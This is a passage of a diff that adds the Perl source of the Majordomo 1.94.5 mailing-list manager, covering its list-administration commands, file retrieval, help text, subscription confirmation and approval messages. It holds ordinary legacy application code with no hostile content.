(&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new info + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.info"))[2,4,5]; + $mode = (0664) if !$mode; + if (&lopen(INFO, ">", "$listdir/$clean_list.info")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_info"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.info" > 0) { + chmod($mode, "$listdir/$clean_list.info"); + chown($uid, $gid, "$listdir/$clean_list.info") + if defined($uid); + } + else { + unlink("$listdir/$clean_list.info"); + } + + print REPLY "New info for list $clean_list accepted.\n"; + &log("newinfo $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.info: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newinfo $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_intro { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "intro"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the intro, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + local($allow) = 0; + + # check access + $allow = &access_check("intro", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.intro")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_intro"); + &lclose(INFO); + } else { + print REPLY "#### No intro available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("intro $clean_list"); +} +sub do_newintro { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newintro"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new intro + if (&lopen(INFO, ">", "$listdir/$clean_list.intro")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_intro"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.intro" > 0) { + chmod(0664, "$listdir/$clean_list.intro"); + } + else { + unlink("$listdir/$clean_list.intro"); + } + print REPLY "New intro for list $clean_list accepted.\n"; + &log("newintro $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.intro: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newintro $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} +sub do_config { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "config"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so send the new config if it exists + + if (open(LCONFIG, "$listdir/$clean_list.config")) { + while () { + print REPLY $_; + } + print REPLY "\n#[Last updated ", + &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; + + } else { + print REPLY "#### No config available for $clean_list.\n"; + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED config $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("config $clean_list"); +} + +sub do_newconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new config + # off to the side to validate it. + local($oldumask) = umask($config_umask); + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print NCONFIG $_, "\n"; + } + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); + umask($oldumask); + + if ( &get_config($listdir, "$clean_list.new", "locked")) { + unlink "$listdir/$clean_list.new.config"; + &free_lock("$listdir/$clean_list.config.LOCK"); + print REPLY "The new config file for $clean_list was NOT accepted because:\n"; + print REPLY @config'errors; + &log("FAILED (syntax) newconfig $clean_list PASSWORD"); + return (1); + } + + $rename_fail = 0; + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY "rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } + + print REPLY "New config for list $clean_list accepted.\n" + if !$rename_fail; + + &log("newconfig $clean_list PASSWORD"); + &get_config($listdir, $clean_list, "locked"); + } else { + &abort("Can't write $listdir/$clean_list.config: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newconfig $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + &free_lock("$listdir/$clean_list.config.LOCK"); + + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_writeconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "writeconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write current config + &config'writeconfig($listdir, $clean_list); + print REPLY "wrote new config for list $clean_list.\n"; + &log("writeconfig $clean_list PASSWORD"); + } else { + &squawk("$sm: invalid password."); + &log("FAILED writeconfig $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_mkdigest { + # Check to make sure we've got the right arguments + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + # We allow the specification of the outgoing alias for the digest so + # that list owners can change it to be something secret, but we have to + # remain backwards compatible, so we allow 2 or 3 args. + local($list_outgoing); + if ($#args == 1) { # Called with 2 or 3 args, one already shifted off + $list_outgoing = shift @args; + } + else { + $list_outgoing = "$list-outgoing"; + } + local($passwd); + ($passwd = shift @args) || &squawk("$sm: needs password"); + local(@digest_errors) = (); + # Check that the list is valid + local($clean_list) = &valid_list($listdir, $list); + if ($clean_list ne "") { + # The list is valid, parse the config file + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so run digest + + open(DIGEST, + "$homedir/digest -m -C -l $list $list_outgoing 2>&1 |"); + @digest_errors = ; + close(DIGEST); + + if ( $? == 256 ) { + print REPLY "*** mkdigest: Failure on exec of digest $!\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: exec error"); + } else { + if ($? != 0 ) { # hey the exec worked + print REPLY "*** digest: failed errors follow\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: errors during digest"); + } else { + print REPLY @digest_errors; + &log("mkdigest $clean_list"); + } + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED mkdigest $clean_list PASSWORD"); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_lists { + # Tell the requester what lists we serve + local($list); + local($reply_addr) = &ParseAddrs($reply_to); + + select((select(REPLY), $| = 1)[0]); + + print REPLY "$whoami serves the following lists:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + $list = $_; + $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories + + &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); + + if ( ($'config_opts{$list, 'advertise'} ne '') + || ($'config_opts{$list, 'noadvertise'} ne '') ) { + + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; + + if ($'config_opts{$list, 'advertise'} ne '') { + @array = split(/\001/,$'config_opts{$list, 'advertise'}); + foreach $i (@array) { + $result = 1, last if (eval $i); # Expects $_ = $reply_addr + } + } else { $result = 1; } + + @array = (); + if ($result) { + @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); + + foreach $i (@array) { + $result = 0, last if (eval $i); # Expects $_ = $reply_addr + } + } + + + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'} if $result; + } else { + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'}; + } + + } + print REPLY "\nUse the 'info ' command to get more information\n"; + print REPLY "about a specific list.\n"; + &log("lists"); +} + +# Subroutines do_get and do_index handle files for the requestor. +# Majordomo will look for the files in directory "$filedir/$list$filedir_suffix" +# You need to specify a directory in majordomo.cf such as: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; +# to have it check directory "/usr/local/mail/files/$list" or +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; +# to have it check directory "$listdir/$list.archive". +# +# If you want majordomo to do the basic file handling, don't +# set the ftpmail options. Set the index command using: +# $index_command = "/bin/ls -lRL"; +# +# If you want FTPMail to do the file handling, also put in: +# $ftpmail_location = "$whereami" +# $ftpmail_address = "ftpmail@$whereami"; +# or +# $ftpmail_address = "ftpmail@decwrl.dec.com"; +# as appropriate. +# +# Note that "$ftpmail_location" might NOT be the same as "$whereami"; +# for instance, at GreatCircle.COM, "$whereami" is "GreatCircle.COM" (which +# is an MX record) but "$ftpmail_location" needs to be "FTP.GreatCircle.COM" +# (which is an alias for actual machine) + +sub do_get { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "get"; + local($list, $clean_list, $filename) = &get_listname($sm, 1, @_); + &squawk("$sm: which file?") unless $filename; + + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'get_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("get", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'get'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK, so check the file name + local($clean_file) = &valid_filename($filedir, $clean_list, + $filedir_suffix, $filename); + if (defined($clean_file)) { + # the file name was OK and exists + # see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + if ($ftpmail_location eq "") {$ftpmail_location = $whereami; }; + &sendmail(FTPMAILMSG, $ftpmail_address, "get $filename", + $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "get $filename\n"; + close (FTPMAILMSG); + print REPLY "'get' request forwarded to $ftpmail_address\n"; + } else { + # file handling is done locally. + if (&lopen(GETFILE, " ", "$clean_file")) { + # Set up the sendmail process to send the file + &sendmail(GETFILEMSG, $reply_to, + "Majordomo file: list '$clean_list' file '$filename'"); + while () { + print GETFILEMSG $_; + } + # close (and thereby send) the file + close(GETFILEMSG); + &lclose(GETFILE); + print REPLY <<"EOM"; +List '$clean_list' file '$filename' +is being sent as a separate message. +EOM + } else { + print REPLY + "#### No such file '$filename' for list '$clean_list'\n"; + } + } + } else { + &squawk("$sm: invalid file '$filename' for list '$clean_list'."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("get $clean_list $filename"); +} + +sub do_index { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "index"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + if ( !$approved + && $config_opts{$clean_list, 'index_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("index", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do an 'index'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK; see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + &sendmail(FTPMAILMSG, $ftpmail_address, "index $clean_list", $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "dir\n"; + close (FTPMAILMSG); + print REPLY "'index' request forwarded to $ftpmail_address\n"; + } else { + if (-d "$filedir/$clean_list$filedir_suffix") { + if (chdir "$filedir/$clean_list$filedir_suffix") { + open(INDEX,"$index_command|") + || &abort("Can't fork to run $index_command, $!"); + while () { + print REPLY $_; + } + unless (close INDEX) { + &bitch("Index command $index_command failed.\n$! $?"); + &squawk("$sm: index command failed"); + } + } + else { + &bitch("Cannot chdir to $filedir/$clean_list$filedir_suffix to build index\n$!"); + &squawk("$sm: index command failed"); + } + } else { + print REPLY "#### No files available for $clean_list.\n"; + } + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("index $list"); + chdir("$homedir"); +} + +sub do_help { + print STDERR "$0: do_help()\n" if $DEBUG; + + local($list4help) = $majordomo_request ? "[]" : ""; + + local($listrequest) = " or to \"-request\@$whereami\".\n"; + $listrequest .= "\nThe parameter is only optional if the "; + $listrequest .= "message is sent to an address\nof the form "; + $listrequest .= "\"-request\@$whereami\"."; + + $listrequest = "." unless $majordomo_request; + + print REPLY <<"EOM"; + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list + +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + +In the description below items contained in []'s are optional. When +providing the item, do not include the []'s around it. Items in angle +brackets, such as
    , are meta-symbols that should be replaced +by appropriate text without the angle brackets. + +It understands the following commands: + + subscribe $list4help [
    ] + Subscribe yourself (or
    if specified) to the named . + + unsubscribe $list4help [
    ] + Unsubscribe yourself (or
    if specified) from the named . + "unsubscribe *" will remove you (or
    ) from all lists. This + _may not_ work if you have subscribed using multiple addresses. + + get $list4help + Get a file related to . + + index $list4help + Return an index of files you can "get" for . + + which [
    ] + Find out which lists you (or
    if specified) are on. + + who $list4help + Find out who is on the named . + + info $list4help + Retrieve the general introductory information for the named . + + intro $list4help + Retrieve the introductory message sent to new users. Non-subscribers + may not be able to retrieve this. + + lists + Show the lists served by this Majordomo server. + + help + Retrieve this message. + + end + Stop processing commands (useful if your mailer adds a signature). + +Commands should be sent in the body of an email message to +"$whoami"$listrequest Multiple commands can be processed provided +each occurs on a separate line. + +Commands in the "Subject:" line are NOT processed. + +If you have any questions or problems, please contact +"$whoami_owner". + +EOM +#' + print STDERR "$0: do_help(): finished writing help text, now logging.\n" if $DEBUG; + + &log("help"); + + print STDERR "$0: do_help(): done\n" if $DEBUG; +} + +sub send_confirm { + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local($cookie) = &gen_cookie($cmd, $list, $subscriber); + local(*AUTH); + + &sendmail(AUTH, $subscriber, "Confirmation for $cmd $list"); + + print AUTH <<"EOM"; +Someone (possibly you) has requested that your email address be added +to or deleted from the mailing list "$list\@$whereami". + +If you really want this action to be taken, please send the following +commands (exactly as shown) back to "$whoami": + + auth $cookie $cmd $list $subscriber + +If you do not want this action to be taken, simply ignore this message +and the request will be disregarded. + +If your mailer will not allow you to send the entire command as a single +line, you may split it using backslashes, like so: + + auth $cookie $cmd $list \\ + $subscriber + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + +Thanks! + +$whoami +EOM + close(AUTH); + + print REPLY <<"EOM"; +**** Your request to $whoami: +**** +**** $cmd $list $subscriber +**** +**** must be authenticated. To accomplish this, another request must be +**** sent in with an authorization key, which has been sent to: +**** $subscriber +**** +**** If the message is not received, there is generally a problem with +**** the address. Before reporting this as a problem, please note the +**** following: +**** +**** You only need to give an address to the subscribe command if you want +**** to receive list mail at a different address from where you sent the +**** command. Otherwise you can simply omit it. +**** +**** If you do give an address to the subscribe command, it must be a legal +**** address. It should not consist solely of your name. The address must +**** point to a machine that is reachable from the list server. +**** +**** If you have any questions about the policy of the list owner, please +**** contact "$list-approval\@$whereami". +**** +**** Thanks! +**** +**** $whoami +EOM + &log("send_confirm $cmd $list $subscriber"); +} + + + +# Send a request for subscribe or unsubscribe approval to a list owner +# Usage: &request_approval($cmd, $list, @subscriber) +sub request_approval { + # Get the arguments + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local(*APPROVE); + + # open a sendmail process for the approval request + &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list"); + + # Generate the approval request + print APPROVE <<"EOM"; +$reply_to requests that you approve the following: + + $cmd $list $subscriber + +If you approve, please send a message such as the following back to +$whoami (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD \\ + $cmd $list \\ + $subscriber + +[The above is broken into multiple lines to avoid mail reader linewrap +problems. Commands can be on one line, or multi-line with '\\' escapes.] + +If you disapprove, do nothing. + + +Thanks! + +$whoami +EOM + # close (and thereby send) the approval request + close(APPROVE); + + # tell the requestor that their request has been forwarded for approval. + print REPLY <<"EOM"; +Your request to $whoami: + + $cmd $list $subscriber + +has been forwarded to the owner of the "$list" list for approval. +This could be for any of several reasons: + + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + +When the list owner approves your request, you will be notified. + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + + +Thanks! + +$whoami +EOM + + &log("request $cmd $list $subscriber"); +} + +# We are done processing the request; append help if needed, send the reply +# to the requestor, clean up, and exit + +sub done { + # append help, if needed. + if ($count == 0) { + print REPLY "**** No valid commands found.\n"; + print REPLY "**** Commands must be in message BODY, not in HEADER.\n\n"; + } + if ($needs_help || ($count == 0)) { + print REPLY "**** Help for $whoami:\n\n"; + &do_help(); + } + + # close (and thereby send) the reply + close(REPLY); + + # good bye! + exit(0); +} + +# Welcome a new subscriber to the list, and tell the list owner of his/her +# existance. +sub welcome { + local($list) = shift; + local($subscriber) = join(" ", @_); + + # welcome/intro message controlled by 'welcome=yes/no' + if ( &cf_ck_bool($list,"welcome")) { + + # Set up the sendmail process to welcome the new subscriber + &set_mail_sender($config_opts{$list,"sender"} . "\@" . $whereami); + &sendmail(MSG, $subscriber, "Welcome to $list"); + &set_mail_sender($whoami_owner); + + print MSG "Welcome to the $list mailing list!\n\n"; + + print MSG "Please save this message for future reference. Thank you.\n"; + + if ( $majordomo_request ) { + print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +send the following command in email to +\<${clean_list}-request\@$whereami\>: + + unsubscribe + +Or you can send mail to \<$whoami\> with the following +EOM + +} else { +print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +you can send mail to \<$whoami\> with the following +EOM +} + +print MSG <<"EOM"; +command in the body of your email message: + + unsubscribe $list + +or from another account, besides $subscriber: + + unsubscribe $list $subscriber + +EOM +print MSG <<"EOM"; +If you ever need to get in contact with the owner of the list, +(if you have trouble unsubscribing, or have questions about the +list itself) send email to \ . +This is the general rule for most mailing lists when you need +to contact a human. + +EOM + + # send them the info for the list, if it's available + # the .intro file has information for subscribers only + if (&lopen(INFO, "", "$listdir/$list.intro")) { + while () { + print MSG $_; + } + &lclose(INFO); + } elsif (&lopen(INFO, "", "$listdir/$list.info")) { + print MSG <<"EOM"; + Here's the general information for the list you've subscribed to, + in case you don't already have it: + +EOM +#'; + while () { + print MSG $_; + } + &lclose(INFO); + } else { + print MSG "#### No info available for $list.\n"; + } + + # close (and thereby send) the welcome message to the subscriber + close(MSG); + + } + + # tell the list owner of the new subscriber (optional: announcements=yes/no) + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); + print NOTICE "$subscriber has been added to $list.\n"; + print NOTICE "No action is required on your part.\n"; + close(NOTICE); + } +} + +# complain about a user screwup, and note that the user needs help appended +# to the reply +sub squawk { + print REPLY "**** @_\n"; + $needs_help++; +} + +# check to see if the subscriber is a LISTSERV-style "real name", not an +# address. If it contains white space and no routing characters ([!@%:]), +# then it's probably not an address. If it's valid, generate the proper +# request for approval; if it's not, bitch to the user. + +# if a fourth parameter is added to the check_and_request call, only +# check the subscribe request for a valid address. This allows +# the same routine to be used for checking when handling an auto list. + +sub check_and_request { + local($request,$clean_list, $subscriber, $do_request) = @_; + + # check to see if the subscriber looks like a LISTSERV-style + # "real name", not an address; if so, send a message to the + # requestor, and if not, ask the list owner for approval + local($addr) = &valid_addr($subscriber); + if ($addr =~ /\s/ && $addr !~ /[!%\@:]/) { + # yup, looks like a LISTSERV-style request to me. + &squawk("$request: LISTSERV-style request failed"); + print REPLY <<"EOM"; +This looks like a BITNET LISTSERV style '$request' request, because +the part after the list name doesn't look like an email address; it looks +like a person's name. Majordomo is not LISTSERV. In a Majordomo '$request' +request, the part after the list name is optional, but if it's there, it +should be an email address, NOT a person's real name. +EOM + + return(0); + } else { + return(1) if defined($do_request); + &request_approval($request, $clean_list, $subscriber); + } +} + +sub gen_cookie { + local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); + local($cookie) = 0; + local($i, $carry); + + # Because of backslashing and all of the splitting on whitespace and + # joining that goes on, we need to ignore whitespace. + $combined =~ s/\s//g; + + for ($i = 0; $i < length($combined); $i++) { + $cookie ^= ord(substr($combined, $i)); + $carry = ($cookie >> 28) & 0xf; + $cookie <<= 4; + $cookie |= $carry; + } + return (sprintf("%08x", $cookie)); +} + + +# Extracts the list name from the argument list to the do_* functions +# or uses the default list name, depending on invocation options and +# available arguments. Returns the raw list name, the validated list +# name, and the remaining argument list. + +sub get_listname { + local($request, $required, @args) = @_; + local($raw_list, $clean_list); + + if (defined($deflist)) { # -l option specified + if (scalar(@args) <= $required) { # minimal arguments, use default list + if ( !( ($raw_list = $deflist) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + $raw_list = shift(@args) || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + elsif ( !( ($raw_list = shift(@args)) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + unshift(@args, $raw_list); # Not a list name, put it back. + $raw_list = $deflist || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + + else { + $raw_list = shift(@args); + $clean_list = &valid_list($listdir, $raw_list); + } + + return ($raw_list, $clean_list, @args); +} diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo.pl b/update/scripts/packages/majordomo-1.94.5/majordomo.pl new file mode 100644 index 0000000..7c0fff0 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo.pl @@ -0,0 +1,828 @@ +# General subroutines for Majordomo + +# $Source: /sources/cvsrepos/majordomo/majordomo.pl,v $ +# $Revision: 1.58 $ +# $Date: 2000/01/07 12:32:04 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.58 2000/01/07 12:32:04 cwilson Exp $ +# + +# The exit codes for abort. Look in /usr/include/sysexits.h. +# +$EX_DATAERR = 65; +$EX_TEMPFAIL = 75; +$EX_NOUSER = 67; + +package Majordomo; + +$DEBUG = $main'DEBUG; + +# Mail header hacking routines for Majordomo +# +# Derived from: +# 